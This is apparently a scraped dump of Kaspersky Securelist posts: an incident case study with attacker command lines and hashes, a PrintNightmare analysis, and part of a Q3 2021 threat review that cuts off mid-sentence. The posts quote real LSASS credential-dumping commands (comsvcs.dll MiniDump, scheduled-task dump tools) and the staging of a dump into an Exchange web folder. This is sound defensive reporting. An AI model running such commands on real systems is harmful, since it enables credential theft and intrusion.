\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution. | &quot;C:\\Windows\\System32\\rundll32.exe&quot; \nC:\\Windows\\System32\\comsvcs.dll MiniDump 616 \nc:\\programdata\\cdera.bin full\n\n_## 616 is LSASS process id_ \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154017/MDR_interesting_cases_08.png>) | Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the _resource.exe_ and _twindump.dll_ files. | C:\\Windows\\System32\\cmd.exe /C c:\\&quot;program files&quot;\\7- \nzip\\7z.exe x -pKJERKL6j4dk&amp;@1 c:\\programdata\\m.zip -o \nc:\\windows\\cluster\n\n## _resource.exe_ and _twindump.dll_ files were created \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Subsequently, the file _resource.exe_ was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful. | C:\\Windows\\System32\\cmd.exe /C \nC:\\Windows\\System32\\staskes.exe /create /tn Ecoh /tr \n&quot;cmd /c C:\\Windows\\cluster\\resource.exe \nase2af6das3fzc2 agasg2aa23gfdgd&quot; /sc onstart /ru \nsystem /F\n\n## staskes.exe is a renamed schtasks.exe file \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154042/MDR_interesting_cases_09.png>) | Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the [MirrorDump](<https://github.com/CCob/MirrorDump>) tool. As a result, the attacker successfully obtained an LSASS dump. | C:\\Windows\\System32\\cmd.exe /C c:\\&quot;program files&quot;\\7- \nzip\\7z.exe x -p&quot;KJERfK#L6j4dk321\u2033 \nc:\\programdata\\E.zip -o c:\\programdata\\ \nC:\\Windows\\System32\\cmd.exe \n/C c:\\windows\\system32\\staskes.exe /create /tn Ecoh /tr \n&quot;c:\\programdata\\InEnglish.exe g2@j5js1 0sdfs,48 \nC:\\programdata\\EnglishEDouble \nC:\\programdata\\EnglishDDouble \nC:\\programdata\\English1.dll \nC:\\programdata\\English.dmp&quot; /sc onstart /ru system /F C:\\Windows\\System32\\cmd.exe /C c:\\windows\\system32\\staskes.exe /run /tn Ecoh \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154059/MDR_interesting_cases_10.png>) | Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files. | C:\\Windows\\System32\\cmd.exe /C copy \nc:\\programdata\\Es.zip \nc:\\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\Es.png \n \nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&amp;CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | AV exact detect | AV verdict: \nPDM:Exploit.Win32.GenericProcess command line: \n&quot;C:\\Windows\\System32\\rundll32.exe&quot; \nC:\\Windows\\System32\\comsvcs.dll MiniDump \n**616** C:\\programdata\\cdera.bin full \nParent process command line: \nC:\\Windows\\System32\\wsmprovhost.exe - \nEmbedding \nGrandparent process command line:: \nC:\\Windows\\System32\\svchost.exe -k \nDcomLaunchProcess logon type: 3 (Network logon) | Remotely executed \nprocess memory dump \nwas detected by AM \nengine \n**616** is LSASS process \nPID \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Create section (load DLL) \nExecute section (run DLL) | DLL name: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe \nProcess PID: **616** \nParent process: command line: C:\\Windows\\System32\\wininit.exe \nProcess integrity level: System | Unknown DLL was loaded and executed within lsass.exe \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Inexact AV detect | Internal AV verdict: The file is Security Support \nProvider (SSP) \nFile path: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe | Unknown DLL loaded to lsass is SSP \n**T1053.005:** \nScheduled Task/Job: Scheduled Task | Create process | Process command line: \nC:\\programdata\\InEnglish.exe g2@j5js1 \n0sdfs,48 C:\\programdata\\EnglishEDouble C:\\programdata\\EnglishDDouble \n**C:\\programdata**\\English1.dll \nC:\\programdata\\English.dmp \nParent process command line: \ntaskeng.exe {7725474B-D9EA-473D-B10D- \nAC0572A0AA70} S-1-5-18:NT \nAUTHORITY\\System:Service: \nGrandparent process command line: \nC:\\Windows\\System32\\svchost.exe -k netsvcs \nProcess integrity level: System \nProcess user SID: S-1-5-18 | Suspicious executable from C:\\programdata run as scheduled task under _System_ privileges \n \nObserved malicious files:\n\nc:\\programdata\\e.zip | 0x37630451944A1DD027F5A9B643790B10 \n---|--- \nc:\\programdata\\es.zip | 0x3319BD8B628F8051506EE8FD4999C4C3 \nc:\\programdata\\m.zip | 0xC15D90F8374393DA2533BAF7359E31F9 \nc:\\programdata\\inenglish.exe | 0xCB15B1F707315FB61E667E0218F7784D \nc:\\programdata\\english1.dll | 0x358C5061B8DF0E0699E936A0F48EAFE1 \nc:\\windows\\cluster\\resource.exe | 0x872A776C523FC33888C410081A650070 \nc:\\windows\\cluster\\twindump.dll | 0xF980FD026610E4D0B31BAA5902785EDE \n \n## Conclusion\n\nAttackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.\n\nCountering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-15T10:00:42", "type": "securelist", "title": "Kaspersky Managed Detection and Response: interesting cases", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-12-15T10:00:42", "id": "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "href": "https://securelist.com/kaspersky-managed-detection-and-response-interesting-cases/105214/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:23", "description": "\n\n## Summary\n\nLast week Microsoft warned Windows users about vulnerabilities in the Windows Print Spooler service \u2013 CVE-2021-1675 and CVE-2021-34527 (also known as PrintNightmare). Both vulnerabilities can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers.\n\nKaspersky products protect against attacks leveraging these vulnerabilities. The following detection names are used:\n\n * HEUR:Exploit.Win32.CVE-2021-1675.*\n * HEUR:Exploit.Win32.CVE-2021-34527.*\n * HEUR:Exploit.MSIL.CVE-2021-34527.*\n * HEUR:Exploit.Script.CVE-2021-34527.*\n * HEUR:Trojan-Dropper.Win32.Pegazus.gen\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * Exploit.Win32.CVE-2021-1675.*\n * Exploit.Win64.CVE-2021-1675.*\n\nOur detection logic is also successfully blocks attack technique from the latest Mimikatz framework v. 2.2.0-20210707.\n\nWe are closely monitoring the situation and improving generic detection of these vulnerabilities using our [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and Exploit Prevention components. As part of our [Managed Detection and Response service](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) Kaspersky SOC experts are able to detect exploitation of these vulnerabilities, investigate such attacks and report to customers.\n\n## Technical details\n\n### CVE-2021-34527\n\nWhen using RPC protocols to add a new printer (_RpcAsyncAddPrinterDriver [MS-PAR] or RpcAddPrinterDriverEx [MS-RPRN]_) a client has to provide multiple parameters to the Print Spooler service:\n\n * _pDataFile_ - a path to a data file for this printer;\n * _pConfigFile_ - a path to a configuration file for this printer;\n * _pDriverPath_ - a path to a driver file that&#x27;s used by this printer while it&#x27;s working.\n\nThe service makes several checks to ensure _pDataFile_ and _pDriverPath_ are not UNC paths, but there is no corresponding check for pConfigFile, meaning the service will copy the configuration DLL to the folder _%SYSTEMROOT%\\system32\\spool\\drivers\\x64\\3\\_ (on x64 versions of the OS).\n\nNow, if the Windows Print Spooler service tries to add a printer again, but this time sets pDataFile to the copied DLL path (from the previous step), the print service will load this DLL because its path is not a UNC path, and the check will be successfully passed. These methods can be used by a low-privileged account, and the DLL is loaded by the _NT AUTHORITY\\SYSTEM group_ process.\n\n### CVE-2021-1675\n\nThe local version of PrintNightmare uses the same method for exploitation as CVE-2021-34527, but there&#x27;s a difference in the entrypoint function (_AddPrinterDriverEx_). This means an attacker can place a malicious DLL in any locally accessible directory to run the exploit.\n\n## Mitigations\n\nKaspersky experts anticipate a growing number of exploitation attempts to gain access to resources inside corporate perimeters accompanied by a high risk of ransomware infection and data theft.\n\nTherefore, it is strongly recommended to follow Microsoft [guidelines](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>) and apply the latest security updates for Windows.\n\nQuoting Microsoft (as of July 7th, 2021): \n_&quot;Due to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object (GPO). \nWhile this security assessment focuses on domain controllers, any server is potentially at risk to this type of attack.&quot;_", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T05:00:06", "type": "securelist", "title": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T05:00:06", "id": "SECURELIST:0C07A61E6D92865F5B58728A60866991", "href": "https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T14:36:44", "description": "\n\n * **IT threat evolution Q3 2021**\n * [IT threat evolution in Q3 2021. PC statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/>)\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n## Targeted attacks\n\n### WildPressure targets macOS\n\nLast March, we reported a [WildPressure campaign targeting industrial-related entities in the Middle East](<https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/>). While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.\n\nAnother language used by WildPressure is Python. The PyInstaller module for Windows contains a script named &quot;Guard&quot;. Interestingly, this malware was developed for both Windows and macOS operating systems. The coding style, overall design and C2 communication protocol is quite recognizable across all three programming languages used by the authors.\n\nWildPressure used both virtual private servers (VPS) and compromised servers in its infrastructure, most of which were WordPress websites.\n\nWe have very limited visibility for the samples described in our report, but our telemetry suggests that the targets in this campaign were also from the oil and gas industry.\n\nYou can view our report on the new version [here](<https://securelist.com/wildpressure-targets-macos/103072/>), together with a video presentation of our findings.\n\n### LuminousMoth: sweeping attacks for the chosen few\n\nWe recently uncovered a large-scale and highly active attack against targets in Southeast Asia by a threat actor that we call [LuminousMoth](<https://securelist.com/apt-luminousmoth/103332/>). The campaign dates back to October last year and was still ongoing at the time we published our public report in July. Most of the early sightings were in Myanmar, but it seems the threat actor is now much more active in the Philippines. Targets include high-profile organizations: namely, government entities located both within those countries and abroad.\n\nMost APT threats carefully select their targets and tailor the infection vectors, implants and payloads to the victims&#x27; identities or environment. It&#x27;s not often we observe a large-scale attack by APT threat actors \u2013 they usually avoid such attacks because they are too &#x27;noisy&#x27; and risk drawing attention to the campaign. LuminousMoth is an exception. We observed a high number of infections; although we think the campaign was aimed at a few targets of interest.\n\nThe attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document. The archive contains two malicious DLL libraries as well as two legitimate executables that side-load the DLL files. We found multiple archives like this with file names of government entities linked to Myanmar.\n\nWe also observed a second infection vector that comes into play after the first one has successfully finished. The malware tries to spread to other hosts on the network by infecting USB drives.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153755/LuminousMoth_01.png>)\n\nIn addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate data.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154002/LuminousMoth_05.png>)\n\nThe threat actor also deploys an additional tool that accesses a victim&#x27;s Gmail session by stealing cookies from the Chrome browser.\n\nInfrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which has been seen targeting the same region using similar tools in the past.\n\n### Targeted attacks exploiting CVE-2021-40444\n\nOn September 7, [Microsoft reported a zero-day vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (CVE-2021-40444) that could allow an attacker to execute code remotely on vulnerable computers. The vulnerability is in MSHTML, the Internet Explorer engine. Even though few people use IE nowadays, some programs use its engine to handle web content \u2013 in particular, Microsoft Office applications.\n\nWe [have seen targeted attacks](<https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/>) exploiting the vulnerability to target companies in research and development, the energy sector and other major industries, banking, the medical technology sector, as well as telecoms and IT.\n\nTo exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing a URL for a malicious script. If the victim opens the document, Microsoft Office downloads the script and runs it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim&#x27;s computer.\n\n### Tomiris backdoor linked to SolarWinds attack\n\nThe SolarWinds incident last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT&#x27;s networks to perfect their attack. The following timeline sums up the different steps of the campaign.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145035/SAS_story_Tomiris_connection_01.png>)\n\nIn June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control \u2013 probably achieved by obtaining credentials to the control panel of the victims&#x27; registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145115/SAS_story_Tomiris_connection_02.png>)\n\nAfter this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with sufficient confidence. However, taken together they suggest the possibility of common authorship or shared development practices.\n\nYou can read our analysis [here](<https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/>).\n\n### GhostEmperor\n\nEarlier this year, while investigating the rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. We attribute the activity to a previously unknown threat actor that we have called [GhostEmperor](<https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/>). This cluster stood out because it used a formerly unknown Windows kernel mode rootkit that we dubbed Demodex; and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.\n\nThe rootkit is used to hide the user mode malware&#x27;s artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150203/Ghost_Emperor_06.png>)\n\nWe identified multiple attack vectors that triggered an infection chain leading to the execution of the malware in memory. The majority of GhostEmperor infections were deployed on public-facing servers, as many of the malicious artefacts were installed by the httpd.exe Apache server process, the w3wp.exe IIS Windows server process, or the oc4j.jar Oracle server process. This means that the attackers probably abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150042/Ghost_Emperor_04.png>)\n\nAlthough infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate Microsoft command line utility (originally called MpCmdRun.exe). The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.\n\nThis toolset was in use from as early as July 2020, mainly targeting Southeast Asian entities, including government agencies and telecoms companies.\n\n### FinSpy: analysis of current capabilities\n\nAt the end of September, at the Kaspersky [Security Analyst Summit](<https://thesascon.com/>), our researchers provided an [overview of FinSpy](<https://securelist.com/finspy-unseen-findings/104322/>), an infamous surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Our analysis included not only the Windows version of FinSpy, but also Linux and macOS versions, which share the same internal structure and features.\n\nAfter 2018, we observed falling detection rates for FinSpy for Windows. However, it never actually went away \u2013 it was simply using various first-stage implants to hide its activities. We started detecting some suspicious backdoored installer packages (including TeamViewer, VLC Media Player and WinRAR); then in the middle of 2019 we found a host that served these installers along with FinSpy Mobile implants for Android.\n\nThe authors have gone to great lengths to make FinSpy inaccessible to security researchers \u2013 it seems they have put as much work into anti-analysis and obfuscation as they have into the Trojan itself. First, the samples are protected with multiple layers of evasion tactics.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02.png>)\n\nMoreover, once the Trojan has been installed, it is heavily camouflaged using four complex, custom-made obfuscators.\n\nApart from Trojanized installers, we also observed infections involving use of a UEFI (Unified Extensible Firmware Interface) and MBR (Master Boot Record) bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our private report on FinSpy.\n\nThe user of a smartphone or tablet can be infected through a link in a text message. In some cases (for example, if the victim&#x27;s iPhone has not been not [jailbroken](<https://encyclopedia.kaspersky.com/glossary/jailbreak/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)), the attacker may need physical access to the device.\n\n## Other malware\n\n### REvil attack on MSPs and their customers worldwide\n\nAn attack perpetrated by the REvil Ransomware-as-a-Service gang (aka Sodinokibi) targeting Managed Service Providers (MSPs) and their clients was discovered on July 2.\n\nThe attackers [identified and exploited](<https://threatpost.com/kaseya-patches-zero-day-exploits/167548/>) a zero-day vulnerability in the Kaseya Virtual System/Server Administrator (VSA) platform. The VSA software, used by Kaseya customers to remotely monitor and manage software and network infrastructure, is supplied either as a cloud service or via on-premises VSA servers.\n\nThe exploit involved deploying a malicious dropper via a PowerShell script. The script disabled Microsoft Defender features and then used the certutil.exe utility to decode a malicious executable (agent.exe) that dropped an older version of Microsoft Defender, along with the REvil ransomware packed into a malicious library. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/05113533/02-revil-attacks-msp.png>)\n\nThe attack is estimated to have resulted in the encryption of files belonging to around 60 Kaseya customers using the on-premises version of the platform. Many of them were MSPs who use VSA to manage the networks of other businesses. This MSP connection gave REvil access to those businesses, and Kaseya estimated that [around 1,500 downstream businesses were affected](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021>).\n\nUsing our Threat Intelligence service, we observed more than 5,000 attack attempts in 22 countries by the time [our analysis of the attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) was published.\n\n### What a [Print]Nightmare\n\nEarly in July, Microsoft published an alert about vulnerabilities in the Windows Print Spooler service. The vulnerabilities, [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) (aka PrintNightmare), can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers, making both vulnerabilities potentially very dangerous.\n\nMoreover, owing to a misunderstanding between teams of researchers, a [proof-of-concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC) exploit for PrintNightmare was [published](<https://therecord.media/poc-released-for-dangerous-windows-printnightmare-bug/>) online. The researchers involved believed that Microsoft&#x27;s Patch Tuesday release in June had already solved the problem, so they shared their work with the expert community. However, while Microsoft had published a patch for CVE-2021-1675, the PrintNightmare vulnerability remained unpatched until July. The PoC was quickly removed, but not before it had been copied multiple times.\n\nCVE-2021-1675 is a [privilege elevation](<https://encyclopedia.kaspersky.com/glossary/privilege-escalation/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) vulnerability, allowing an attacker with low access privileges to craft and use a malicious DLL file to run an exploit and gain higher privileges. However, that is only possible if the attacker already has direct access to the vulnerable computer in question.\n\nCVE-2021-34527 is significantly more dangerous because it is a [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RCE) vulnerability, which means it allows remote injection of DLLs.\n\nYou can find a more detailed technical description of both vulnerabilities [here](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>).\n\n### Grandoreiro and Melcoz arrests\n\nIn July, the Spanish Ministry of the Interior [announced](<http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853>) the arrest of 16 people connected to the [Grandoreiro and Melcoz (aka Mekotio) cybercrime groups](<https://securelist.com/arrests-of-members-of-tetrade-seed-groups-grandoreiro-and-melcoz/103366/>). Both groups are originally from Brazil and form part of the [Tetrade umbrella](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), operating for a few years now in Latin America and Western Europe.\n\nThe Grandoreiro banking Trojan malware family initially started its operations in Brazil and then expanded its operations to other Latin American countries and then to Western Europe. The group has regularly improved its techniques; and, based on our analysis of the group&#x27;s campaigns, it operates as a [malware-as-a-service (MaaS)](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) project. Our telemetry shows that, since January 2020, Grandoreiro has mainly attacked victims in Brazil, Mexico, Spain, Portugal and Turkey.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175031/tetrade_arrest_01.png>)\n\nMelcoz had been active in Brazil since at least 2018, before expanding overseas. We observed the group attacking assets in Chile in 2018 and, more recently, in Mexico: it&#x27;s likely that there are victims in other countries too, as some of the targeted banks have international operations. As a rule, the malware uses AutoIt or VBS scripts, added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and from the device&#x27;s memory, providing remote access to capture internet banking access. It also includes a Bitcoin wallet stealing module. Our telemetry confirms that, since January 2020, Melcoz has been actively targeting Brazil, Chile and Spain, among other countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175038/tetrade_arrest_02.png>)\n\nSince both malware families are from Brazil, the individuals arrested in Spain are just operators. So, it&#x27;s likely that the creators of Grandoreiro and Melcoz will continue to develop new malware techniques and recruit new members in their countries of interest.\n\n### Gamers beware\n\nEarlier this year, we discovered an ad in an underground forum for a piece of malware dubbed BloodyStealer by its creators. The malware is designed to steal passwords, cookies, bank card details, browser auto-fill data, device information, screenshots, desktop and client uTorrent files, Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions and logs.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141037/bloodystealer-and-gaming-accounts-in-darknet-screen-1.png>)\n\n**_The BloodyStealer ad (Source: [https://twitter.com/3xp0rtblog](<https://twitter.com/3xp0rtblog/status/1380087553676697617>))_**\n\nThe authors of the malware, which has hit users in Europe, Latin America and the Asia-Pacific region, have adopted a MaaS distribution model, meaning that anyone can buy it for the modest price of around $10 per month (roughly $40 for a &quot;lifetime license&quot;).\n\nOn top of its theft functions, the malware includes tools to thwart analysis. It sends stolen information as a ZIP archive to the C2 (command-and-control) server, which is protected against DDoS (distributed denial of service) attacks. The cybercriminals use either the (quite basic) control panel or Telegram to obtain the data, including gamer accounts.\n\nBloodyStealer is just one of many tools available on the dark web for stealing gamer accounts. Moreover, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically. Using these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials. All kinds of offers related to gamer accounts can be found on the dark web.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141127/bloodystealer-and-gaming-accounts-in-darknet-screen-2.png>)\n\nSo-called logs are among the most popular. These are databases containing reams of data for logging into accounts. In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected and other details. For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey and Canada. The entire archive costs $150 (that&#x27;s about 0.2 cents per record).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141203/bloodystealer-and-gaming-accounts-in-darknet-screen-3.png>)\n\nCybercriminals can also use compromised gaming accounts to launder money, distribute phishing links and conduct other illegal business.\n\nYou can read more about gaming threats, including BloodyStealer, [here](<https://securelist.com/game-related-cyberthreats/103675/>) and [here](<https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/>).\n\n### Triada Trojan in WhatsApp mod\n\nNot everyone is happy with the official WhatsApp app, turning instead to modified WhatsApp clients for features that the WhatsApp developers haven&#x27;t yet implemented in the official version. The creators of these mods often embed ads in them. However, their use of third-party ad modules can provide a mechanism for malicious code to be slipped into the app unnoticed.\n\nThis happened recently with FMWhatsApp, a popular WhatsApp mod. In version 16.80.0 the developers used a third-party ad module that includes the Triada Trojan (detected by Kaspersky&#x27;s mobile antivirus as Trojan.AndroidOS.Triada.ef). This Trojan performs an intermediary function. First, it collects data about the user&#x27;s device, and then, depending on the information, it downloads one of several other Trojans. You can find a description of the functions that these other Trojans perform in [our analysis of the infected FMWhatsApp mod](<https://securelist.com/triada-trojan-in-whatsapp-mod/103679/>).\n\n### Qakbot banking Trojan\n\nQakBot (aka QBot, QuackBot and Pinkslipbot) is a banking Trojan that was first discovered in 2007, and has been continually maintained and developed since then. It is now one of the leading banking Trojans around the globe. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), but it has also acquired functionality allowing it to spy on financial operations, spread itself and install ransomware in order to maximize revenue from compromised organizations.\n\nThe Trojan also includes the ability to log keystrokes, backdoor functionality, and techniques to evade detection. The latter includes virtual environment detection, regular self-updates and cryptor/packer changes. QakBot also tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails: these are later used by the attackers to send targeted emails to the victims, with the information obtained used to lure victims into opening those emails.\n\nQakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails are delivered with Microsoft Office documents or password-protected archives with documents attached. The documents contain macros and victims are prompted to open the attachments with claims that they contain important information (e.g., an invoice). In some cases, the emails contain links to web pages distributing malicious documents.\n\nHowever, there is another infection vector that involves a malicious QakBot payload being transferred to the victim&#x27;s machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). It&#x27;s known that various threat actors perform reconnaissance of target organizations beforehand to decide which infection vector is most suitable.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01145837/Qakbot_technical_analysis_01.png>)\n\nWe analyzed statistics on QakBot attacks collected from our 